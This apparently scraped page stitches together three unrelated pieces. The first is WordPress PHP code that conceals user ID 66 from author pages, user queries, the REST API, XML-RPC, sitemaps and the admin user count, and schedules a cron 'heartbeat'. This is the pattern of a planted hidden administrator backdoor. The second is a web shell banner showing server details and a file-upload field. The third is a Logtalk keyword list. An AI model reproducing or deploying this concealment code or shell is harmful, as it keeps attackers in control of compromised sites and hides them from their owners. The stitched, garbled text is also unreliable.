add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/share/vim/vim91/ftplugin/ |
Upload File : |
abolish abolish_category abolish_events abolish_object abolish_protocol abs acos acyclic_term after alias always_true_or_false_goals arg asin asserta assertz atan atan2 atom atomic atom_chars atom_codes atom_concat atom_length at_end_of_stream bagof before built_in call callable calls catch catchall_catch category category_property ceiling char_code char_conversion clause clean close code_prefix coinduction coinductive compare complements complements_object compound conditionals conforms_to_protocol context context_switching_calls copy_term cos create_category create_logtalk_flag create_object create_protocol current_category current_char_conversion current_event current_input current_logtalk_flag current_object current_op current_output current_predicate current_prolog_flag current_protocol debug define_events deprecated discontiguous div domain_error duplicated_directives dynamic dynamic_declarations elif else encoding encoding_directive endif end_category end_object end_protocol engines ensure_loaded error evaluation_error events existence_error exp expand_goal expand_term export extends extends_category extends_object extends_protocol fail false findall float float_fractional_part float_integer_part floor flush_output forall forward functor get_byte get_char get_code goal_expansion ground halt hook if ignore implements implements_protocol imports imports_category include info initialization instantiates instantiates_class instantiation_error integer keysort lambda_variables log logtalk_compile logtalk_library_path logtalk_load logtalk_load_context logtalk_make logtalk_make_target_action max meta_non_terminal meta_predicate min missing_directives mod mode modules multifile nl nonvar number numbervars number_chars number_codes object object_property once one one_or_error one_or_more op open optimize parameter peek_byte peek_char peek_code permission_error phrase portability predicate_property private prolog_compatible_version prolog_compiler prolog_dialect prolog_loader prolog_version protected protocol protocol_property public put_byte put_char put_code read read_term redefined_built_ins reexport reload rem repeat report representation_error resource_error retract retractall round scratch_directory self sender setof set_input set_logtalk_flag set_output set_prolog_flag set_stream_position sign sin singleton_variables sort source_data specializes specializes_class sqrt stream_property subsumes_term sub_atom suspicious_calls synchronized syntax_error system_error tabling tan term_expansion term_variables this threaded threaded_call threaded_cancel threaded_engine threaded_engine_create threaded_engine_destroy threaded_engine_fetch threaded_engine_next threaded_engine_next_reified threaded_engine_post threaded_engine_self threaded_engine_yield threaded_exit threaded_ignore threaded_notify threaded_once threaded_peek threaded_wait threads throw trivial_goal_fails true truncate type_error undefined_predicates underscore_variables unify_with_occurs_check uninstantiation_error unknown_entities unknown_predicates uses use_module var version write writeq write_canonical xor zero zero_or_error zero_or_more zero_or_one zero_or_one_or_error